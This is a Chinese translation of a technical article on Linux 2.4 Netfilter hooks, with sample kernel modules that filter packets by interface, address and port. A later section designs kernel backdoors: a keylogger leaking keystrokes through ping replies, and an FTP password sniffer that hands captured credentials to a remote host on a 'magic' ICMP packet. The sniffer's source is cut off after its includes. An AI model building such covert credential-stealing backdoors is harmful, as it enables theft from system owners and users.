深刻Linux網絡核心堆棧

目錄

1 - 簡介
  1.1 - 本文涉及的內容
  1.2 - 本文不涉及的內容
2 - 各類Netfilter hook及其用法
  2.1 - Linux內核對數據包的處理
  2.2 - Netfilter對IPv4的hook
3 - 註冊和註銷Netfilter hook
4 - Netfilter 基本的數據報過濾技術[1]
  4.1 - 深刻hook函數
  4.2 - 基於接口進行過濾
  4.3 - 基於地址進行過濾
  4.4 - 基於TCP端口進行過濾
5 - Netfilter hook的其它可能用法
  5.1 - 隱藏後門的守護進程
  5.2 - 基於內核的FTP密碼嗅探器
    5.2.1 - 源代碼 : nfsniff.c
    5.2.2 - 源代碼 : getpass.c
6 - 在Libpcap中隱藏網絡通訊
  6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
  6.2 - 給狼披上羊皮
7 - 結束語
A - 輕量級防火牆
  A.1 - 概述
  A.2 - 源代碼 : lwfw.c
  A.3 - 頭文件 : lwfw.h
B - 第6節中的源代碼

--[ 1 - 簡介

    本文將向你展現,Linux的網絡堆棧的一些怪異行爲(並不必定是弱點)如何被用於邪惡的或者是其它形形色色的目的。在這裏將要討論的是將表面上 看起來合法的Netfilter hook用於後門的通訊,以及一種使特定的網絡通訊在運行於本機的基於Libpcap的嗅探器中消聲匿跡的技術。
    Netfilter是Linux 2.4內核的一個子系統,Netfiler使得諸如數據包過濾、網絡地址轉換(NAT)以及網絡鏈接跟蹤等技巧成爲可能,這些功能僅經過使用內核網絡代碼 提供的各式各樣的hook既能夠完成。這些hook位於內核代碼中,要麼是靜態連接的,要麼是以動態加載的模塊的形式存在。能夠爲指定的網絡事件註冊相應 的回調函數,數據包的接收就是這樣一個例子。


----[ 1.1 - 本文涉及的內容
    
    本文討論模塊編寫者如何利用Netfilter hook來實現任意目的以及如何將將網絡通訊在基於Libpcap的應用程序中隱藏。雖然Linux 2.4支持對IPv四、IPv6以及DECnet的hook,但在本文中將只討論關於IPv4的話題,雖然如此,大部分關於IPv4的內容都一樣能夠運用 於其它幾種協議。出於教學的目的,附錄A提供了一個可用的、提供基本的包過濾的內核模塊。本文中全部的開發和試驗都在運行於Intel主機上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環回接口、以太網接口以及調制解調器點對點接口上完成。
    
    本文也是出於我對Netfilter徹底理解的嘗試的興趣而寫的。我並不能保證文中附帶的任何代碼100%的沒有錯誤,可是我已經測試了全部在這 裏提供的代碼。我已經受夠了核心錯誤的折磨,所以真誠的但願你不會再如此。一樣,我不會爲任何按照本文所述進行的操做中可能發生的損害承擔責任。本文假定 讀者熟悉C語言編程而且有必定的關於可加載模塊的經驗。
    
    歡迎對本文中出現的錯誤進行批評指正,我同時開誠佈公的接受對本文的改進以及其它各類關於Netfilter的優秀技巧的建議。
    
    
---- [ 1.2 - 本文不涉及的內容

    本文不是一個徹底的關於Netfilter的細節上的參考資料,一樣,也不是一個關於iptables的命令的參考資料。若是你想了解更多的關於iptables的命令,請參考相關的手冊頁。
    
    好了,讓咱們從Netfilter的使用介紹開始 ...
    

--[ 2 - 各類Netfilter hook及其用法
----[ 2.1 - Linux內核對數據包的處理
    
    看起來好像是我很喜歡深刻到諸如Linux的數據包處理以及事件的發生以及跟蹤每個Netfilter hook這樣的血淋淋的細節中,事實並不是如此!緣由很簡單,Harald Welte已經寫了一篇關於這個話題的優秀的文章——《Journey  of a Packet Through the Linux 2.4 Network Stack》。若是你想了解更多的關於Linux數據包處理的內容,我強烈推薦你去拜讀這篇文章。如今,僅須要理解:當數據包遊歷Linux內核的網絡堆 棧時,它穿過了幾個hook點,在這裏,數據包能夠被分析而且選擇是保留仍是丟棄,這些hook點就是Netfilter hook。
    

----[ 2.2 - Netfilter對IPv4的hook

    Netfilter中定義了五個關於IPv4的hook,對這些符號的聲明能夠在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中:
    
表1 : 可用的IPv4 hook

    Hook                調用的時機
NF_IP_PRE_ROUTING    在完整性校驗以後,選路肯定以前
NF_IP_LOCAL_IN        在選路肯定以後,且數據包的目的是本地主機
NF_IP_FORWARD        目的地是其它主機地數據包
NF_IP_LOCAL_OUT        來自本機進程的數據包在其離開本地主機的過程當中
NF_IP_POST_ROUTING    在數據包離開本地主機「上線」以前

    NF_IP_PRE_ROUTING這個hook是數據包被接收到以後調用的第一個hook,這個hook既是稍後將要描述的模塊所用到的。固然,其它的hook一樣很是有用,可是在這裏,咱們的焦點是在NF_IP_PRE_ROUTING這個hook上。

    在hook函數完成了對數據包所需的任何的操做以後,它們必須返回下列預約義的Netfilter返回值中的一個:
    
表2 : Netfilter返回值

    返回值                含義
NF_DROP                丟棄該數據包
NF_ACCEPT            保留該數據包
NF_STOLEN            忘掉該數據包
NF_QUEUE            將該數據包插入到用戶空間
NF_REPEAT            再次調用該hook函數

    NF_DROP這個返回值的含義是該數據包將被徹底的丟棄,全部爲它分配的資源都應當被釋放。NF_ACCEPT這個返回值告訴 Netfilter:到目前爲止,該數據包仍是被接受的而且該數據包應當被遞交到網絡堆棧的下一個階段。NF_STOLEN是一個有趣的返回值,由於它告 訴Netfilter,「忘掉」這個數據包。這裏告訴Netfilter的是:該hook函數將今後開始對數據包的處理,而且Netfilter應當放棄 對該數據包作任何的處理。可是,這並不意味着該數據包的資源已經被釋放。這個數據包以及它獨自的sk_buff數據結構仍然有效,只是hook函數從 Netfilter獲取了該數據包的全部權。不幸的是,我還不是徹底的清楚NF_QUEUE究竟是若是工做的,所以在這裏我不討論它。最後一個返回值 NF_REPEAT請求Netfilter再次調用這個hook函數。顯然,使用者應當謹慎使用NF_REPEAT這個返回值,以避免形成死循環。
    
--[3 - 註冊和註銷Netfilter hook

    註冊一個hook函數是圍繞nf_hook_ops數據結構的一個很是簡單的操做,nf_hook_ops數據結構在linux/netfilter.h中定義,該數據結構的定義以下:

          struct nf_hook_ops {
                  struct list_head list;

                  /* 此下的值由用戶填充 */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hook以升序的優先級排序 */
                  int priority;
          };

    該數據結構中的list成員用於維護Netfilter hook的列表,而且不是用戶在註冊hook時須要關心的重點。hook成員是一個指向nf_hookfn類型的函數的指針,該函數是這個hook被調用 時執行的函數。nf_hookfn一樣在linux/netfilter.h中定義。pf這個成員用於指定協議族。有效的協議族在linux /socket.h中列出,但對於IPv4咱們但願使用協議族PF_INET。hooknum這個成員用於指定安裝的這個函數對應的具體的hook類型, 其值爲表1中列出的值之一。最後,priority這個成員用於指定在執行的順序中,這個hook函數應當在被放在什麼地方。對於IPv4,可用的值在 linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出於示範的目的,在後面的模塊中咱們將使用 NF_IP_PRI_FIRST。
    
    註冊一個Netfilter hook須要調用nf_register_hook()函數,以及用到一個nf_hook_ops數據結構。nf_register_hook()函數以 一個nf_hook_ops數據結構的地址做爲參數而且返回一個整型的值。可是,若是你真正的看了在net/core/netfilter.c中的 nf_register_hook()函數的實現代碼,你會發現該函數老是返回0。如下提供的是一個示例代碼,該示例代碼簡單的註冊了一個丟棄全部到達的 數據包的函數。該代碼同時展現了Netfilter的返回值如何被解析。

    示例代碼1 : Netfilter hook的註冊
/*
* 安裝一個丟棄全部到達的數據包的Netfilter hook函數的示例代碼
*/

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* 用於註冊咱們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* 丟棄全部的數據包 */
}

/* 初始化程序 */
int init_module()
{
    /* 填充咱們的hook數據結構 */
    nfho.hook = hook_func;         /* 處理函數 */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* 讓咱們的函數首先執行 */

    nf_register_hook(&nfho);

    return 0;
}

/* 清除程序 */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

    這就是所有內容,從示例代碼1中,你能夠看到,註銷一個Netfilter hook是一件很簡單事情,只須要調用nf_unregister_hook()函數,而且以你以前用於註冊這個hook時用到的相同的數據結構的地址做爲參數。
    

-- [4 - Netfilter 基本的數據報過濾技術
---- [4.1 - 深刻hook函數

    如今是到了看看什麼數據被傳遞到hook函數中以及這些數據如何被用於作過濾選擇的時候了。那麼,讓咱們更深刻的看看nf_hookfn函數的原型吧。這個函數原型在linux/netfilter.h中給出,以下:

          typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

    nf_hookfn函數的第一個參數用於指定表1中給出的hook類型中的一個。第二個參數更加有趣,它是一個指向指針的指針,該指針指向的指針 指向一個sk_buff數據結構,網絡堆棧用sk_buff數據結構來描述數據包。這個數據結構在linux/skbuff.h中定義,因爲它的內容太 多,在這裏我將僅列出其中有意義的部分。

    sk_buff數據結構中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網絡層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網或者RAW)的聯合(union)了。這三個聯合的名字分別是h、nh以及mac。這些聯合包含了幾個結構,依賴於 具體的數據包中使用的協議。使用者應當注意:傳輸層包頭和網絡層包頭多是指向內存中的同一個位置。這是TCP數據包可能出現的狀況,其中h和nh都應當 被看做是指向IP頭結構的指針。這意味着嘗試經過h->th獲取一個值,並認爲該指針指向一個TCP頭,將會獲得錯誤的結果。由於h->th 其實是指向的IP頭,與nh->iph獲得的結果相同。

    接下來讓咱們感興趣的其它部分是len和data這兩個域。len指定了從data開始的數據包中的數據的總長度。好了,如今咱們知道如何在 sk_buff數據結構中分別訪問協議頭和數據包中的數據了。Netfilter hook函數中有用的信息中其它的有趣的部分是什麼呢?

    緊跟在skb以後的兩個參數是指向net_device數據結構的指針,net_device數據結構被Linux內核用於描述全部類型的網絡接 口。這兩個參數中的第一個——in,用於描述數據包到達的接口,毫無疑問,參數out用於描述數據包離開的接口。必須明白,在一般狀況下,這兩個參數中將 只有一個被提供。例如:參數in只用於NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數out只用於NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我尚未測試對於NF_IP_FORWARD hook,這兩個參數中哪些是有效的,可是若是你能在使用以前先肯定這些指針是非空的,那麼你是很是優秀的!

    最後,傳遞給hook函數的最後一個參數是一個命名爲okfn函數指針,該函數以一個sk_buff數據結構做爲它惟一的參數,而且返回一個整型 的值。我不是很肯定這個函數是幹什麼用的,在net/core/netfilter.c中查看,有兩個地方調用了這個okfn函數。這兩個地方是分別在函 數nf_hook_slow()中以及函數nf_reinject()中,在其中的某個位置,當Netfilter hook的返回值爲NF_ACCEPT時被調用。若是任何人有更多的關於okfn函數的信息,請務必告知。
    
    ** 譯註:Linux核心網絡堆棧中有一個全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個二維數組,其中第一維用於指定協議族,第二維用於指定hook的類型(表1 中定義的類型)。註冊一個Netfilter hook實際就是在由協議族和hook類型肯定的鏈表中添加一個新的節點。
    
    如下代碼摘自 net/core/netfilter,nf_register_hook()函數的實現:
int nf_register_hook(struct nf_hook_ops *reg)
{
    struct list_head *i;

    br_write_lock_bh(BR_NETPROTO_LOCK);
    for (i = nf_hooks[reg->pf][reg->hooknum].next;
         i != &nf_hooks[reg->pf][reg->hooknum];
         i = i->next) {
        if (reg->priority < ((struct nf_hook_ops *)i)->priority)
            break;
    }
    list_add(&reg->list, i->prev);
    br_write_unlock_bh(BR_NETPROTO_LOCK);
    return 0;
}

    Netfilter中定義了一個宏NF_HOOK,做者在前面提到的nf_hook_slow()函數實際上就是NF_HOOK宏定義替換的對 象,在NF_HOOK中執行註冊的hook函數。NF_HOOK在Linux核心網絡堆棧的適當的地方以適當的參數調用。例如,在ip_rcv()函數 (位於net/ipv4/ip_input.c)的最後部分,調用NF_HOOK函數,執行NF_IP_PRE_ROUTING類型的hook。 ip_rcv()是Linux核心網絡堆棧中用於接收IPv4數據包的主要函數。在NF_HOOK的參數中,頁包含一個okfn函數指針,該函數是用於數 據包被接收後完成後續的操做,例如在ip_rcv中調用的NF_HOOK中的okfn函數指針指向ip_rcv_finish()函數(位於 net/ipv4/ip_input.c),該函數用於IP數據包被接收後的諸如IP選項處理等後續處理。
    
    若是在內核編譯參數中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換爲okfn,內核代碼中的相關部分以下(linux/netfilter.h):

#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)            \
(list_empty(&nf_hooks[(pf)][(hook)])                    \
? (okfn)(skb)                                \
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/
    
    可見okfn函數是必不可少的,當Netfilter被啓用時,它用於完成接收的數據包後的後續操做,若是不啓用Netfilter作數據包過濾,則全部的數據包都被接受,直接調用該函數作後續操做。
    
    ** 譯註完
    
    如今,咱們已經瞭解了咱們的hook函數接收到的信息中最有趣和最有用的部分,是該看看咱們如何以各類各樣的方式來利用這些信息來過濾數據包的時候了!
    
    
----[4.2 - 基於接口進行過濾

    這應該是咱們能作的最簡單的過濾技術了。還記得咱們的hook函數接收的參數中的那些net_device數據結構嗎?使用相應的 net_device數據結構的name這個成員,你就能夠根據數據包的源接口和目的接口來選擇是否丟棄它。若是想丟棄全部到達接口eth0的數據包,所 有你須要作的僅僅是將in->name的值與"eth0"作比較,若是名字匹配,那麼hook函數簡單的返回NF_DROP便可,數據包會被自動銷 毀。就是這麼簡單!完成該功能的示例代碼見以下的示例代碼2。注意,Light-Weight FireWall模塊將會提供全部的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL接口以及用於動態改變其特性的應用程序。
    
    示例代碼2 : 基於源接口的數據包過濾
/*
* 安裝一個丟棄全部進入咱們指定接口的數據包的Netfilter hook函數的示例代碼
*/

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* 用於註冊咱們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 咱們丟棄的數據包來自的接口的名字 */
static char *drop_if = "lo";

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s...\n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* 初始化程序 */
int init_module()
{
    /* 填充咱們的hook數據結構 */
    nfho.hook     = hook_func;         /* 處理函數 */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* 讓咱們的函數首先執行 */

    nf_register_hook(&nfho);
    
    return 0;
}
    
/* 清除程序 */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

    是否是很簡單?接下來,讓咱們看看基於IP地址的過濾。
    

----[ 4.3 - 基於地址進行過濾

    與根據數據包的接口進行過濾相似,基於數據包的源或目的IP地址進行過濾一樣簡單。此次咱們感興趣的是sk_buff數據結構。還記得skb參數 是一個指向sk_buff數據結構的指針的指針嗎?爲了不犯錯誤,聲明一個另外的指向skb_buff數據結構的指針而且將skb指針指向的指針賦值給 這個新的指針是一個好習慣,就像這樣:
    
      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /

    這樣,你訪問這個數據結構的元素時只須要反引用一次就能夠了。獲取一個數據包的IP頭經過使用sk_buff數據結構中的網絡層包頭來完成。這個 頭位於一個聯合中,能夠經過sk_buff->nh.iph這樣的方式來訪問。示例代碼3中的函數演示了當獲得一個數據包的sk_buff數據結構 時,如何利用它來檢查收到的數據包的源IP地址與被禁止的地址是否相同。這些代碼是直接從LWFW中取出來的,惟一不一樣的是LWFW統計的更新被移除。
    
    示例代碼3 : 檢查收到的數據包的源IP
    
      unsigned char *deny_ip = "\x7f\x00\x00\x01";  /* 127.0.0.1 */
      
      ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
               * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
          
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
              return NF_DROP;
              }

              return NF_ACCEPT;
          }
    
    這樣,若是數據包的源地址與咱們設定的丟棄數據包的地址匹配,那麼該數據包將被丟棄。爲了使這個函數能按預期的方式工做,deny_ip的值應當 以網絡字節序(Big-endian,與Intel相反)存放。雖然這個函數不太可能以一個空的指針做爲參數來調用,帶一點點偏執狂歷來不會有什麼壞處。 固然,若是錯誤確實發生了,那麼該函數將會返回NF_ACCEPT。這樣Netfilter能夠繼續處理這個數據包。示例代碼4展示了用於演示將基於接口 的過濾略作修改以丟棄匹配給定IP地址的數據包的簡單模塊。
    
    示例代碼4 : 基於數據包源地址的過濾
/* 安裝丟棄全部來自指定IP地址的數據包的Netfilter hook的示例代碼 */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h>                  /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* 用於註冊咱們的函數的數據結構 */
static struct nf_hook_ops nfho;

/* 咱們要丟棄的數據包來自的地址,網絡字節序 */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* 註冊的hook函數的實現 */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    struct sk_buff *sb = *skb;
    
    // 譯註:做者提供的代碼中比較地址是否相同的方法是錯誤的,見註釋掉的部分
    if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
    // if (sb->nh.iph->saddr == drop_ip) {
        printk("Dropped packet from... %d.%d.%d.%d\n",
      *drop_ip, *(drop_ip + 1),
  *(drop_ip + 2), *(drop_ip + 3));
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* 初始化程序 */
int init_module()
{
    /* 填充咱們的hook數據結構 */
    nfho.hook       = hook_func;         /* 處理函數 */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* 讓咱們的函數首先執行 */

    nf_register_hook(&nfho);

    return 0;
}

/* 清除程序 */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}


----[ 4.4 - 基於TCP端口進行過濾

    另外一個要實現的簡單規則是基於數據包的TCP目的端口進行過濾。這隻比檢查IP地址的要求要高一點點,由於咱們須要本身建立一個TCP頭的指針。 還記得咱們前面討論的關於傳輸層包頭與網絡層包頭的內容嗎?獲取一個TCP頭的指針是一件簡單的事情——分配一個tcphdr數據結構(在 linux/tcp.h中定義)的指針,並將它指向咱們的數據包中IP頭以後的數據。或許一個例子的幫助會更大一些,示例代碼5給出了檢查數據包的TCP 目的端口是否與某個咱們要丟棄數據包的端口匹配的代碼。與示例代碼3同樣,這些代碼摘自LWFW。
    
    示例代碼5 : 檢查收到的數據包的TCP目的端口
          unsigned char *deny_port = "\x00\x19";   /* port 25 */

      ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
               * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
          
          return NF_ACCEPT;
          }

    確實很簡單!不要忘了,要讓這個函數工做,deny_port必須是網絡字節序。這就是數據包過濾的基礎了,你應當已經清楚的理解了對於一個特定的數據包,如何獲取你想要的信息。如今,是該進入更有趣的內容的時候了!
    

--[ 5 - Netfilter hook的其它可能用法

    在這裏,我將提出其它很酷的利用Netfilter hook的點子,5.1節將簡單的給出精神食糧,而5.2節將討論和給出能夠工做的基於內核的FTP密碼嗅探器的代碼,它的遠程密碼獲取功能是確實可用的。事實上,它工做的令我吃驚的好,而且我編寫了它。
    
----[ 5.1 - 隱藏後門的守護進程

    核心模塊編程也許是Linux開發中最有趣的部分之一了,在內核中編寫代碼意味着你在一個僅受限於你的想象力的地方寫代碼。以惡意的觀點來看,你 能夠隱藏文件、進程,而且作各式各樣很酷的,任何的rootkit可以作的事情。那麼,以不太惡意的觀點來看(是的,持這中觀點人們的確存在),你能夠隱 藏文件、進程以及幹各式各樣的事情。內核真是一個迷人的樂園!
    
    有了賦予內核級程序員的強大力量,不少事情成爲可能。其中最有趣的(也是讓系統管理員恐慌的)一個就是嵌入到內核中的後門。畢竟,若是後門不做爲 一個進程運行,那麼咱們怎麼知道它的運行?固然,仍是有辦法讓你的內核揪出這樣的後門來,可是它們可不像運行ps命令同樣容易和簡單。現今,將後門代碼放 到內核中去的點子已經並不新鮮了。可是,我在這裏所提出的是安放一個用做內核後門的簡單的網絡服務。你猜對了,正是Netfilter hook!
    
    若是你已經具有必要的技能而且情願以作試驗的名義使你的內核崩潰,那麼你就能夠構建簡單可是有用的,徹底位於內核中的,能夠遠程訪問的網絡服務 了。基本上一個Netfilter hook能夠經過觀察收到的數據包來查找一個「魔法」數據包,而且當接收到這個「魔法」數據包時幹指定的事情。結果能夠經過Netfilter hook來發送。而且該hook函數能夠返回NF_STOLEN,以使得收到的「魔法」數據包能夠走得更遠。可是要注意,當以這種方式來發送時,輸出數據 包對於輸出Netfilter hook仍然是可見的。所以用戶空間徹底不知道這個「魔法」數據包的曾經到達,可是它們仍是能看到你送所出的。小心!由於在泄密主機上的嗅探器不能看到這 個包並不意味着在其它中間宿主主機上的嗅探器也看不到這個包。
    
    kossak與lifeline曾爲Phrack寫了一篇精彩的文章,該文描述瞭如何經過註冊數據包類型處理器來完成這樣的功能。雖然本文涉及的 是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),由於它是一篇給出了一些很是有趣的點子的有趣讀物。
    
    那麼,後門Netfilter hook能夠幹些什麼工做呢?如下是一些建議:
    -- 遠程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,而且當遠程主機發送一個PING請求時,結果被送到該主機。這樣,能夠生成一個相似於穩定的 (非洪水的)PING應答流的擊鍵信息的流。固然,你可能想要實現一個簡單的加密,這樣,ASCII鍵不會當即暴露它們本身,而且某些警覺的系統管理員會 想:「堅持,我之前都是經過個人SSH會話來鍵入那些的!Oh $%@T%&!」。
    -- 各類簡單的管理員任務,例如獲取當前登陸到主機的用戶的列表或責獲取打開的網絡鏈接的信息。
    -- 並不是一個真正的後門,而是位於網絡邊界的模塊,而且阻擋任何被疑爲來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通訊。
    -- 文件傳輸「服務器」。我最近已經實現了這個主意,由此引發的Linux核心編程是數小時的樂趣:)
    -- 數據包跳躍。重定向目的爲木馬主機指定端口的數據包到其它的IP主機和端口,而且從那臺主機發回數據包到發起者。沒有進程被派生,而且最妙的是,沒有網絡套接字被打開。
    -- 上面描述的數據包跳躍用於與網絡中的關鍵系統以半隱蔽方式通訊。例如:配置路由器等。
    -- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼並保存相關信息,直到進入的「魔法」數據包要求獲取它們。
    
    以上只是一些想法的簡短的列表,其中最後一個想法是咱們在接下來的一節中將要真正詳細討論的。它
提供了一個很好的瞭解更多的深藏於核心網絡代碼中的函數的機會。

----[ 5.2 - 基於內核的FTP密碼嗅探器

    在這裏展示的是一個簡單的,原理性的,用作Netfilter後門的模塊。該模塊嗅探輸出的FTP數據包,查找對於一個FTP服務器一個USER 於PASS命令對。當這樣一個命令對被發現後,該模塊接下來將等待一個「魔法」ICMP ECHO(ping)數據包,該數據包應當足夠大,使其能返回服務器的IP地址、用戶名以及密碼。同時提供了一個快速的發送一個「魔法」數據包,獲取返回 而後打印返回信息的技巧。一旦用戶名/密碼對從模塊讀取後,模塊將接着查找下一對。注意,模塊每次只保存一個對。以上是簡要的瀏覽,是該展現更多的細節, 來看模塊如何作到這些的時候了。
    
    當模塊加載時,模塊的init_module()函數簡單的註冊了兩個Netfilter hook。第一個用於查看輸入的數據包(在NF_IP_PRE_ROUTING處),嘗試發現「魔法」ICMP數據包。接下來的一個用於查看離開該模塊被 安裝的主機的數據包(在NF_IP_POST_ROUTING處),這個函數正是搜索和捕獲FTP的USER和PASS數據包的地方。 cleanup_module()函數只是簡單的註銷這兩個hook。
    
    watch_out()是用於hook NF_IP_POST_ROUTING的函數,查看這個函數你能夠看到,它的執行的操做很是簡單。當一個數據包進入這個函數事後,將通過各類檢查,以肯定 它是一個FTP數據包。若是它不是一個FTP數據包,那麼當即返回NF_ACCEPT。若是它是一個FTP數據包,那麼該模塊進行檢查是否已經存在一個用 戶名/密碼對。若是存在(以have_pair的非零值標識),那麼返回NF_ACCEPT,該數據包最終可以離開該系統。不然,check_ftp() 函數被調用,這是密碼提取實際發生的地方。若是沒有先前的數據包已經被接收,那麼target_ip和target_port變量應當被清除。
    
    check_ftp()開始於從數據包的開始查找"USER","PASS"或"QUIT"。注意直到USER命令處理以後才處理PASS命令。 這樣作的目的是爲了防止在某些狀況下PASS命令先於USER命令被接收到以及在USER到達以前鏈接中斷而致使的死鎖的發生。一樣,若是QUIT命令到 達時僅有用戶名被捕獲,那麼將重置操做,開始嗅探一個新的鏈接。當一個USER或者PASS命令到達時,若是必要完整性校驗經過,則記錄下命令的參數。正 常運行下,在check_ftp()函數完成以前,檢查是否已經有了一個有效的用戶名和密碼串。若是是,則設置have_pair的值爲非零而且在當前的 用戶名/密碼對被獲取以前不會再抓取其它的用戶名或密碼。
    
    到目前爲止你已經看到了該模塊如何安裝它本身以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當指定的「魔法」數據包到達時會發生什麼。在 此需特別注意,由於這是在整個開發過程當中出現的最大難題。若是我沒記錯的話,共遭遇了16個核心錯誤:)。當數據包進安裝該模塊的主機 時,watch_in()檢查每個數據包以查看其是不是一個「魔法」數據包。若是數據包不能提供足以證實它是一個「魔法」數據包的信息,那麼它將被被 watch_in()忽略,簡單的返回一個NF_ACCEPT。注意「魔法」數據包的標準之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。 這使得發送應答更加容易。固然,能夠從新分配一個新的sk_buff,可是正確的獲取全部必要的域得值可能會比較困難,而且你還必須得正確的獲取它們!因 此,與其爲咱們的應答數據包建立一個新的數據結構,不如簡單的調整請求數據包的數據結構。爲了成功的返回數據包,須要作幾個改動。首先,交換IP地址,並 且sk_buff數據結構中描述數據包類型的域(pkt_type)應當被換成PACKET_OUTGOING,這些宏在 linux/if_packet.h中定義。接下來應當當心的是肯定包含了任意的鏈路層頭。咱們接收到的數據包的sk_buff數據結構的數據域指向鏈路 層頭以後,而且它是指向被髮送的數據包的數據的開始的數據域。那麼對於須要鏈路層包頭(以太網及環回和點對點的raw)的接口,咱們將數據域指向 mac.ethernet或者mac.raw結構。爲肯定這個數據包來自的什麼類型的接口你能夠查看sb->dev->type的值,其中 sb是一個指向sk_buff數據結構的指針。這個域的有效值能夠在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。
    
表3 : 接口類型的經常使用值

類型代碼        接口類型
ARPHRD_ETHER    以太網
ARPHRD_LOOPBACK    環回設備
ARPHRD_PPP        點對點(例如撥號)

   最後,咱們要作的是真正的複製咱們想在的應答中送出的數據。到送出數據包的時候了,dev_queue_xmit()函數以一個指向sk_buff數據結 構的指針做爲它惟一的參數,在「好的錯誤」狀況下,返回一個負的錯誤代碼。我所說的「好的錯誤」是什麼意思呢?若是你給函數 dev_queue_xmit()一個錯誤構造的套接字緩衝,那麼你就會獲得一個伴隨着內核錯誤和內核堆棧的dump信息的「不太好的錯誤」。看看在這裏 錯誤如何能被分紅兩組?最後,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經見到過這個數據包。若是你已經調用了 dev_queue_xmit(),不要返回NF_DROP!這是由於dev_queue_xmit()將釋放傳遞進來的套接字緩衝,而 Netfilter會嘗試對被NF_DROP的數據包作一樣的操做。好了。對於代碼的討論已經足夠了,請看具體的代碼。
  
  
------[ 5.2.1 - 源代碼 : nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
